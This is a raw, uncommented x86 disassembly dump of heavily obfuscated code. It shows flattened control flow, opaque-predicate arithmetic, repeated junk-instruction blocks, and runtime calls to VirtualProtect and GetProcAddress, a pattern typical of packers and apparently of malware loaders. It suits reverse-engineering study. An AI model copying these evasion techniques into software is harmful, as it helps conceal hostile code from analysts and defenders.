xor ecx, 0x88122493
xor eax, 0xcc0860
and ecx, 0xea336493
and eax, 0x15cc9b6c
or eax, ecx
xor eax, 0x15cc9b6c
setne al
sete ch
cmp dword [0x482580], 0xa
setge dh
setl ah
mov dl, dh
mov cl, ah
xor dl, ch
or cl, al
or ch, dh
xor al, ah
and dl, dh
xor ch, 1
xor cl, 1
xor dl, 1
or cl, ch
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x49d3a2e7
cmovne eax, esi
test dl, dl
mov edx, 0x49d3a2e7
jmp 0x40c13c
mov eax, dword [ebp - 0x28]
mov esi, 0xf0ecab1d
mov eax, dword [eax]
mov ecx, dword [ebp - 0x104]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
mov ecx, dword [0x482584]
mov dword [ebp - 0x108], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x7544a4db
and ecx, 0x8abb5b24
or eax, ecx
mov ecx, eax
xor ecx, 0x70442492
xor eax, 0x80931a04
and eax, 0x85939a4d
and ecx, 0x7a6c65b2
or ecx, eax
mov eax, ecx
xor ecx, 0x7a6c65b2
xor eax, 0x85939a4d
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x146470c6
and ecx, 0xeb9b8f39
or eax, ecx
mov ecx, eax
xor ecx, 0x100010c4
xor eax, 0xc2128f21
and eax, 0xc676ef23
and ecx, 0x398910dc
or ecx, eax
mov eax, ecx
xor eax, 0x44764623
xor ecx, 0x910c4
and eax, 0x7df6463b
and ecx, 0x8209b9c4
or ecx, eax
xor ecx, 0x8209b9c4
setne ch
sete dh
cmp dword [0x482580], 0xa
mov cl, ch
setge al
setl bl
mov ah, al
and ch, bl
xor cl, bl
xor ah, dh
mov dl, cl
and ah, al
and al, dh
xor dl, 1
or al, ch
mov ch, ah
xor ah, al
xor ch, 1
xor al, 1
or al, ch
xor al, 1
or al, ah
mov ah, cl
and ah, dl
mov ch, al
xor ah, 1
xor ch, 1
or ah, dl
xor ah, 1
or ah, cl
mov dh, ah
and ah, ch
or ch, dl
xor dh, 1
xor ch, 1
and dh, al
xor al, cl
or ch, al
or ah, dh
mov edx, 0xfe873265
mov al, ch
xor al, ah
test al, 1
cmovne edx, esi
test ch, 1
mov ecx, 0xfe873265
cmovne ecx, edx
test ah, 1
cmove ecx, edx
mov eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov edx, ecx
mov eax, ecx
not edx
or eax, 0xd595a44
mov edi, edx
mov esi, eax
and esi, 0xb7cc82bb
and edi, 0x40222500
and edx, 0x7cccad97
or edi, esi
mov esi, ecx
xor esi, 0xf2a6a5bb
and esi, ecx
and ecx, 0x83335268
mov ebx, esi
not ebx
and esi, 0x48337d44
or ecx, edx
or eax, ebx
and ebx, 0xb7cc82bb
mov edx, ecx
xor edx, 0x2024060
xor ecx, 0x7cccad97
or esi, ebx
not eax
and edx, 0x4ec2e972
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xb2a6a5bb
and esi, 0x4d595a44
or eax, esi
mov esi, eax
not esi
and eax, 0x59854080
and esi, 0xa67abf7f
or eax, esi
mov esi, eax
xor esi, 0x48804000
xor eax, 0xa67abf7f
mov edi, eax
or eax, ecx
and ecx, 0xb13d168d
and edi, 0xb13d168d
and esi, 0x4ec2e972
or esi, edi
or edx, ecx
not eax
xor edx, esi
or eax, edx
not eax
mov dword [ebp - 0x1dc], eax
mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xd04816b4
and edx, 0x2fb7e94b
mov esi, ecx
not esi
and ecx, 0xdbb0e4b1
or eax, edx
mov edx, eax
xor edx, 0xd00004b0
xor eax, 0x2fb7e94b
mov edi, eax
or eax, esi
and esi, 0x244f1b4e
and edi, 0x244f1b4e
and edx, 0xdbb0e4b1
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
xor esi, 0x2312e505
mov ecx, eax
and ecx, 0x28128aaa
and esi, eax
not eax
and eax, 0xd7ed7555
or ecx, eax
mov eax, ecx
mov edi, ecx
xor eax, 0x28128aaa
xor edi, 0xf4ff9050
xor ecx, 0x51e57410
and edi, eax
and ecx, 0x59f57e32
and eax, 0xa60a81cc
mov edx, edi
not edx
and edi, 0xee8a643e
or eax, ecx
mov ebx, edx
and ebx, 0x11759bc1
xor eax, 0xa60a81cc
or edi, ebx
mov ebx, esi
not ebx
and esi, 0xee8a643e
or edx, ebx
and ebx, 0x11759bc1
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x2312e504
and esi, 0xdced1afb
or edx, esi
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4884262
and eax, 0x1300d98
mov edx, ecx
and edx, 0x4a438004
or ecx, 0xe09c220
or esi, edx
and ecx, 0xbe0df221
mov edx, esi
xor edx, 0x800042
xor esi, 0xba05b001
or eax, ecx
and esi, 0xbe0df221
and edx, 0x40c20046
or edx, esi
mov esi, 0x512bb967
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x9b6474f8
and ecx, 0x649b8b07
or eax, ecx
xor eax, 0xd5afb69e
setne dl
sete al
cmp dword [0x482580], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
and dh, ch
or dl, ah
and cl, al
xor al, ah
and al, ah
or cl, dh
xor al, 1
xor cl, 1
mov ah, al
or al, dl
or cl, ch
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x82107644
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, esi
test ah, 1
jmp 0x40c877
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x194], eax
mov eax, 0xfa0a1f9c
jmp 0x401d70
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
add edx, dword [eax + ecx*8 + 0xc]
mov eax, 0xcef18cfa
mov dword [ebp - 0xe0], edx
mov ecx, dword [ebp - 0xc8]
mov dword [ebp - 0xdc], ecx
nop dword [eax]
cmp eax, 0xdf642319
jle 0x408930
cmp eax, 0xdf64231a
je 0x408950
cmp eax, 0x1c4b3cb5
je 0x40d5cb
cmp eax, 0x68da4db4
jne 0x408730
and ebx, 0x56
bswap edi
not esi
sbb ebx, 0
inc edx
rcl ebx, 6
not edi
and edx, 0xef
sbb ebx, 0x5b
neg edx
add edi, 0x14
ror eax, 0x61
add eax, 0x9b
and esi, 0xbf
inc esi
inc edx
ror ebx, 0xcc
mov edi, 0x80
bswap ebx
ror ebx, 0x4d
or edx, 0x21
mov eax, 9
or edi, 0x92
sbb eax, 0x92
imul edx
ror edx, 0x6c
and ebx, 0x17
neg edi
imul edi
rcl esi, 0x8f
inc esi
mov edx, 0xca
dec edx
add edi, 0x31
dec ebx
inc esi
neg esi
inc edi
inc esi
neg edi
sbb edx, 0x12
rcr edi, 0x75
or edi, 0x14
sbb eax, 0x8f
neg ebx
ror edx, 0x97
rol edi, 0x8f
add esi, 0x26
sbb ebx, 0xf3
bswap esi
or esi, 0x11
rol ebx, 0x8d
dec esi
inc eax
rcr edi, 0x4f
inc ebx
not esi
mov ebx, 0xf9
inc ebx
rcl ebx, 0x83
neg edx
sbb ebx, 0xf5
or edi, 0x12
rcl eax, 0x9c
rcl edi, 0xfe
sub edx, 0
mov edi, 3
neg eax
and esi, 0xa
add edi, 0x97
neg esi
rcl edx, 0x85
add edi, 0xfd
dec esi
inc esi
neg esi
sub ebx, 0xf0
sbb esi, 0x53
rcr edx, 0x67
and edi, 0xc6
inc edx
dec eax
and edx, 0x79
rcr ebx, 0xe9
bswap eax
and esi, 0x47
not ebx
inc ebx
add edi, 0x76
sbb eax, 0xf3
inc ebx
rcr edi, 0x81
not edi
imul eax
rcr edx, 0x36
ror edx, 0xaa
dec eax
neg eax
rcl edi, 0xbb
dec eax
or esi, 0x9c
sbb edx, 0xb8
bswap eax
imul esi
not edx
not edx
neg eax
rcr ebx, 0x46
bswap esi
inc eax
ror eax, 0x52
inc esi
neg edi
rcr edi, 0x6d
not edx
add eax, 0x6d
sub esi, 0xfe
mov esi, 0x3b
inc edi
neg edi
or ebx, 0x70
dec edi
not edi
ror edi, 0x33
imul ebx
imul edi
bswap ebx
neg edx
neg ebx
rcr eax, 0xe5
mov edi, 0x75
imul eax
sub edx, 4
sub ebx, 0xc3
sbb edx, 0xa8
rcr edi, 0x11
dec edi
and edi, 0x24
imul edi
bswap edi
rcl ebx, 0x80
imul eax
rol ebx, 0x8f
ror ebx, 0x81
inc edx
ror ebx, 0xb5
rcl esi, 0xdf
mov ebx, 0xe9
rol ebx, 0x9b
ror edi, 0x14
push dword [ebp - 0xdc]
push dword [ebp - 0xa4]
push dword [ebp - 0xe4]
push dword [ebp - 0xe0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0xdf64231a
jmp 0x408730
cmp eax, 0xcef18cfa
je 0x408bff
cmp eax, 0xcf587b4e
jne 0x408730
mov eax, 0x1c4b3cb5
jmp 0x408730
and ebx, 0x56
bswap edi
not esi
sbb ebx, 0
inc edx
rcl ebx, 6
not edi
and edx, 0xef
sbb ebx, 0x5b
neg edx
add edi, 0x14
ror eax, 0x61
add eax, 0x9b
and esi, 0xbf
inc esi
inc edx
ror ebx, 0xcc
mov edi, 0x80
bswap ebx
ror ebx, 0x4d
or edx, 0x21
mov eax, 9
or edi, 0x92
sbb eax, 0x92
imul edx
ror edx, 0x6c
and ebx, 0x17
neg edi
imul edi
rcl esi, 0x8f
inc esi
mov edx, 0xca
dec edx
add edi, 0x31
dec ebx
inc esi
neg esi
inc edi
inc esi
neg edi
sbb edx, 0x12
rcr edi, 0x75
or edi, 0x14
sbb eax, 0x8f
neg ebx
ror edx, 0x97
rol edi, 0x8f
add esi, 0x26
sbb ebx, 0xf3
bswap esi
or esi, 0x11
rol ebx, 0x8d
dec esi
inc eax
rcr edi, 0x4f
inc ebx
not esi
mov ebx, 0xf9
inc ebx
rcl ebx, 0x83
neg edx
sbb ebx, 0xf5
or edi, 0x12
rcl eax, 0x9c
rcl edi, 0xfe
sub edx, 0
mov edi, 3
neg eax
and esi, 0xa
add edi, 0x97
neg esi
rcl edx, 0x85
add edi, 0xfd
dec esi
inc esi
neg esi
sub ebx, 0xf0
sbb esi, 0x53
rcr edx, 0x67
and edi, 0xc6
inc edx
dec eax
and edx, 0x79
rcr ebx, 0xe9
bswap eax
and esi, 0x47
not ebx
inc ebx
add edi, 0x76
sbb eax, 0xf3
inc ebx
rcr edi, 0x81
not edi
imul eax
rcr edx, 0x36
ror edx, 0xaa
dec eax
neg eax
rcl edi, 0xbb
dec eax
or esi, 0x9c
sbb edx, 0xb8
bswap eax
imul esi
not edx
not edx
neg eax
rcr ebx, 0x46
bswap esi
inc eax
ror eax, 0x52
inc esi
neg edi
rcr edi, 0x6d
not edx
add eax, 0x6d
sub esi, 0xfe
mov esi, 0x3b
inc edi
neg edi
or ebx, 0x70
dec edi
not edi
ror edi, 0x33
imul ebx
imul edi
bswap ebx
neg edx
neg ebx
rcr eax, 0xe5
mov edi, 0x75
imul eax
sub edx, 4
sub ebx, 0xc3
sbb edx, 0xa8
rcr edi, 0x11
dec edi
and edi, 0x24
imul edi
bswap edi
rcl ebx, 0x80
imul eax
rol ebx, 0x8f
ror ebx, 0x81
inc edx
ror ebx, 0xb5
rcl esi, 0xdf
mov ebx, 0xe9
rol ebx, 0x9b
ror edi, 0x14
push dword [ebp - 0xdc]
push dword [ebp - 0xa4]
push dword [ebp - 0xe4]
push dword [ebp - 0xe0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x48258c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x104
mov esi, eax
mov edi, eax
or esi, 0x10a00a2a
and edx, 0x10a00b2e
and edi, 0x606a000
and eax, 0x43d1db24
or edi, edx
mov edx, ecx
and esi, 0x10a00b2e
and edx, 0xe95954d1
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x726f4572
and esi, 0x8d90ba8d
or edx, esi
mov esi, edx
xor edx, 0x3101024
xor esi, 0x64c9ef59
mov edi, esi
or esi, ecx
and ecx, 0xbc2e24db
and edi, 0xbc2e24db
and edx, 0x43d1db24
or edx, edi
or eax, ecx
not esi
mov edi, 0xcf587b4e
xor eax, edx
or esi, eax
xor esi, 0xffffffff
mov esi, 0x68da4db4
setne ah
sete ch
cmp dword [0x482588], 0xa
setl dl
setge cl
and ah, dl
and cl, ch
mov al, dl
or dl, ch
or cl, ah
xor al, ch
xor cl, 1
and al, dl
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0xcf587b4e
cmovne eax, edi
test dl, 1
cmove eax, edi
jmp 0x408730
mov eax, dword [0x48258c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0xaf53f7c
and eax, 0xf50ac083
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xf50ac083
mov edi, esi
and edi, 0xaf53f7c
or edx, edi
mov edi, 0x68da4db4
xor eax, edx
not eax
or eax, esi
mov esi, 0xdf64231a
xor eax, 0xffffffff
setne ah
sete al
cmp dword [0x482588], 0xa
mov ch, ah
setge cl
setl dl
and al, cl
mov dh, cl
or cl, ah
inc ah
and ch, dl
and dh, ah
xor ah, dl
xor cl, 1
or al, ch
or cl, ah
or dh, ch
xor al, 1
xor cl, 1
mov dl, al
or cl, dh
xor al, cl
or dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x68da4db4
cmovne eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x408730
cmp byte [ebp - 0x76], 0
mov eax, 0x8d3441c9
mov ecx, 0x527f22ed
cmovne eax, ecx
jmp 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x2c808002
and ecx, 0x81507c31
mov edx, eax
or edx, 0x52220088
and esi, 0x7ea2808a
and eax, 0xd0344
and edx, 0x7ea2808a
or eax, esi
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0xb266aabf
and eax, 0x4d995540
or ecx, eax
mov edx, ecx
xor ecx, 0x11941408
xor edx, 0xe049a973
mov eax, edx
and ecx, 0xb195956b
and eax, 0x4e6a6a94
and edx, 0xeaca937b
or eax, ecx
mov ecx, eax
xor ecx, 0x4206884
xor eax, 0xb195956a
and ecx, 0x15356c84
and eax, 0xfffffffe
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xf3a98af4
and ecx, 0xc56750b
or edx, ecx
xor edx, 0xe69ce671
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x478a5c8
and eax, 0xfb875a37
or ecx, eax
mov eax, ecx
xor eax, 0x4088188
xor ecx, 0xfb875a37
mov esi, ecx
and esi, 0x63f36446
and eax, 0x9c0c9bb9
or eax, esi
mov esi, edx
not esi
and edx, 0x9c0c9bb9
or ecx, esi
and esi, 0x63f36446
or edx, esi
not ecx
mov esi, 0x25bc6b9a
xor edx, eax
or ecx, edx
sete ah
setne dl
cmp dword [0x482580], 0xa
setge ch
setl cl
mov al, ch
xor al, dl
mov dh, al
and al, ch
and ch, ah
and dh, dl
xor al, 1
and dl, cl
or cl, ah
xor dh, 1
or dl, ch
xor cl, 1
mov bl, dh
or cl, dl
xor bl, al
or al, dh
mov edx, ecx
xor al, 1
or al, bl
xor al, 1
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd4dcfb84
cmovne ecx, esi
test al, 1
mov eax, 0xd4dcfb84
jmp 0x401d59
mov eax, 0xc0fb9216
jmp 0x401d70
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax]
add eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0x26e7f5ff
jmp 0x401d70
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x124], eax
mov eax, 0x99867d9f
jmp 0x401d70
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, 0xb275328c
jmp 0x401d70
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b4]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, 0xcaef5581
jmp 0x401d70
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x54]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x30]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x284a3c06
jmp 0x401d70
mov eax, dword [ebp - 0x1d4]
mov edx, 0xf191b9aa
movzx eax, word [eax]
mov ecx, dword [ebp - 0x1d0]
cmp ecx, eax
mov eax, 0xd0a9a45b
cmovl eax, edx
jmp 0x401d70
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x158], eax
mov eax, 0xa6455435
jmp 0x401d70
mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xbf8a82c3
mov ecx, edx
and ecx, 0x2fcf707d
andn eax, edx, eax
not edx
and edx, 0xd0308f82
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xd0308f82
xor esi, 0x6fba0d41
xor edx, 0x2445406c
and esi, ecx
or ecx, 1
and edx, 0xb455cdec
or eax, esi
and ecx, 0x4baa3213
mov esi, eax
not esi
and eax, 0x40757d3d
or ecx, edx
and esi, 0xbf8a82c2
or eax, esi
mov edx, eax
not edx
and eax, 0x9c3a4254
mov esi, edx
and esi, 0x63c5bdab
or eax, esi
mov esi, ecx
xor esi, 0x82a0210
xor ecx, 0xb455cdec
or edx, ecx
and ecx, 0x63c5bdab
and esi, 0x9c3a4254
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov ecx, edx
xor ecx, 0xbf413d1c
mov eax, edx
and eax, 0x17f73f06
and ecx, edx
not edx
and edx, 0xe808c0f9
or eax, edx
mov edx, eax
xor eax, 0xa8000018
xor edx, 0x7401100
mov esi, eax
or esi, 0x984082
and edx, 0x7401110
and esi, 0xb8996c8e
or edx, esi
mov esi, ecx
not esi
and ecx, 0x47669371
or eax, esi
and esi, 0xb8996c8e
or ecx, esi
not eax
mov esi, 0x84695eee
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x40bec2e3
and eax, 0xbf413d1c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3a4c7205
and ecx, 0xc5b38dfa
or eax, ecx
mov ecx, eax
xor ecx, 0x30482000
xor eax, 0xc02304ca
and eax, 0xca2756cf
and ecx, 0x35d8a930
or ecx, eax
xor ecx, 0x35d8a930
setne dl
sete ah
cmp dword [0x482580], 0xa
setge al
setl cl
mov ch, al
and cl, dl
xor ch, ah
and ah, al
and ch, al
xor al, dl
or cl, ah
or al, ch
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xa90e182d
cmovne eax, esi
test dl, dl
mov edx, 0xa90e182d
jmp 0x40c13c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xbc]
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
or esi, 0x40041120
mov edi, ecx
and edi, 0x29420493
mov eax, edx
or eax, 0x12814008
and esi, 0x52855128
and eax, 0x52855128
or edi, eax
mov eax, edx
and eax, 0x8438aa44
and edx, 0x2b143f0a
or eax, esi
xor eax, edi
mov esi, eax
not esi
and eax, 0x37f5db48
and esi, 0xc80a24b7
or eax, esi
mov esi, ecx
and esi, 0xd4ebc0f5
and ecx, 1
or esi, edx
mov edi, eax
xor edi, 0xc11c002
xor eax, 0xa14c3105
mov edx, esi
xor edx, 0x2b143f0b
xor esi, 0x8409c000
and edi, 0xac19d102
or ecx, edx
mov edx, eax
and edx, 0x53e62efd
and esi, 0xac19d102
or eax, ecx
and ecx, 0x53e62efd
or edi, edx
or esi, ecx
not eax
xor esi, edi
mov edi, 0xcd2f8090
or eax, esi
mov esi, 0xa0969daa
mov edx, eax
xor edx, 0x35f3da44
mov ecx, eax
and ecx, 0x10c20244
and edx, eax
not eax
and eax, 0x2531d800
or ecx, eax
xor ecx, 0x10c20244
or ecx, edx
not edx
and edx, 0xca0c25bb
and ecx, 0x35f3da44
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x21621b39
and eax, 0xde9de4c6
or ecx, eax
mov eax, ecx
xor eax, 0x18
xor ecx, 0x9805a444
and ecx, 0xb967bf65
and eax, 0x4698409a
or eax, ecx
xor eax, 0x4698409a
setne dl
sete ah
cmp dword [0x482580], 0xa
mov dh, dl
setge al
setl ch
or dh, ch
and dl, ch
mov ch, al
mov cl, al
xor ch, ah
or cl, ah
xor dh, 1
and ch, al
and al, ah
xor cl, 1
or al, dl
xor ch, 1
or cl, dh
xor al, 1
mov dl, ch
mov ah, cl
xor dl, al
or al, ch
xor ah, 1
xor al, 1
or al, dl
mov edx, eax
not dl
and dl, ah
or ah, al
and al, cl
or al, dl
mov cl, ah
mov edx, 0xcd2f8090
xor cl, al
test al, 1
cmovne edx, esi
test ah, 1
cmovne edx, edi
test cl, 1
jmp 0x40ad37
not ebx
add edi, 0xf0
bswap esi
rcl edx, 0xa7
dec ebx
dec eax
or edi, 0x90
inc esi
inc eax
or edx, 0x16
neg ebx
rol eax, 0xad
bswap esi
inc esi
add edx, 0xff
inc edi
not ebx
sub eax, 0x8c
and edi, 0x7f
neg edx
dec eax
dec edi
sub edi, 0x70
rcr esi, 0x72
dec esi
neg eax
bswap esi
not esi
ror eax, 0xf2
rol ebx, 0x6f
ror esi, 0x4b
inc esi
mov edi, 0x92
rcl esi, 0x43
sub edx, 0x81
ror edx, 9
dec edx
add edi, 0x4c
sub edx, 0xe7
add edx, 0xe7
mov ebx, 0xd4
mov esi, 1
dec esi
neg edi
dec eax
mov edi, 0xf1
inc eax
or edx, 0x5c
add eax, 0x2d
dec esi
ror edx, 0xff
add edi, 0xa2
or ebx, 0x50
add edi, 0xaa
neg esi
sub ebx, 0x29
add edi, 0x88
imul eax
sbb edx, 0x84
bswap eax
sub esi, 0x19
inc eax
add edx, 0x92
rol esi, 0x37
not edx
imul edi
or edi, 3
rcr edi, 0x37
sbb ebx, 0xfd
bswap edi
sbb ebx, 0x21
not ebx
rol eax, 0xc4
dec esi
rcr esi, 0x63
imul edi
ror esi, 0x5f
or edi, 0x8a
bswap esi
or ebx, 0x9e
ror eax, 0x1e
rcl eax, 0x5f
bswap edi
rcr edi, 0xca
imul eax
neg edx
inc esi
inc ebx
rcr esi, 0x54
neg ebx
and eax, 0xca
neg ebx
sub ebx, 0xd4
rol edx, 0xdd
and edx, 0x90
inc edi
imul esi
not ebx
inc esi
sbb edi, 0xcf
not ebx
not esi
or edx, 0xe7
rcl edx, 0xb0
bswap ebx
dec eax
imul eax
neg edi
or edi, 0x32
mov esi, 0x5f
sub edx, 0xd5
and edi, 0xb7
mov ebx, 0x16
inc eax
rcr eax, 0xd8
ror edx, 0xf8
add eax, 0xa6
rcr ebx, 0xa1
not eax
bswap edx
and edi, 0xf7
not edx
neg esi
inc eax
and ebx, 0x9e
or edx, 0x83
dec eax
not edx
add ebx, 0xf8
neg edx
rol ebx, 0xc8
not edx
rol esi, 0xd6
neg edi
rcr esi, 0x3c
ror edx, 0x73
dec eax
ror esi, 0x2f
not eax
bswap ebx
rcr esi, 0x15
sbb eax, 0x18
rcl eax, 2
rcr edx, 0x85
not edx
not edx
sbb ebx, 0xd2
neg eax
neg eax
or ebx, 0x26
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x100], eax
mov eax, 0x6062f492
jmp 0x401d70
mov eax, dword [ebp - 0x68]
push dword [ebp - 0x1c4]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, 0x1f7e4b97
jmp 0x401d70
mov eax, 0x120ff01d
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0xc608680a
mov esi, edx
mov edi, edx
or esi, 0x30400000
and ecx, 0xf648680a
and edi, 0x1a29451
and edx, 0xb6af4c63
or edi, ecx
mov ecx, eax
and esi, 0xf648680a
and ecx, 0x81503a4
and eax, 0x4950b39c
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x31e29450
and esi, 0xce1d6baf
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xc491c1cd
mov esi, edx
and esi, 0x3b6e3e32
or ecx, esi
mov esi, eax
xor esi, 0x4010818c
xor eax, 0x322e0c22
and eax, 0x3b6e3e32
and esi, 0xc491c1cd
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xc3eff44b
sete al
setne dl
cmp dword [0x482580], 0xa
setge cl
setl ah
mov ch, cl
or dl, ah
xor ch, al
xor al, ah
xor dl, 1
and cl, ch
and al, ah
xor cl, 1
or al, dl
mov edx, ecx
or cl, ch
mov ah, al
xor dl, ch
xor cl, 1
xor ah, 1
or cl, dl
mov edx, eax
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor ah, cl
xor cl, 1
or dl, ch
xor dl, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x703d3952
cmovne esi, eax
test cl, 1
mov eax, 0xc3eff44b
cmovne eax, esi
test dl, 1
cmove eax, esi
jmp 0x401d70
mov eax, dword [ebp - 0x50]
mov dword [eax], 2
mov eax, 0x4c76cd93
jmp 0x401d70
mov eax, 0xcd3f2a0e
jmp 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 7
mov eax, 0xe29fa3c5
jmp 0x401d70
mov eax, 0x7cfdc184
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x2021a440
mov esi, ecx
and esi, 0x10c0326
mov edi, ecx
or edi, 0x28a046
and ecx, 0xbec7ac9e
or edx, esi
and edi, 0xa38b8cf
mov esi, edx
xor esi, 0x20010400
xor edx, 0xa18188f
and edx, 0xa38b8cf
and esi, 0x21050720
or esi, edx
mov edx, eax
and edx, 0xd4c24010
and eax, 0x41385361
or edx, edi
or eax, ecx
xor edx, esi
mov ecx, eax
xor eax, 0xbec7ac9e
xor ecx, 0x41385361
mov esi, edx
not esi
and edx, 0x881e81bb
and esi, 0x77e17e44
or edx, esi
mov esi, edx
xor esi, 0xa93326dc
xor edx, 0x56ccd923
and eax, esi
and ecx, edx
mov esi, 0x87640291
or eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete cl
cmp dword [0x482580], 0xa
setl al
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ah, dl
mov ecx, eax
xor ah, 1
and dl, al
not cl
and cl, ah
or ah, al
or cl, dl
mov al, ah
mov edx, 0x6339042f
xor al, cl
cmovne edx, esi
test ah, ah
mov eax, 0x6339042f
jmp 0x40cfe5
mov eax, dword [0x482584]
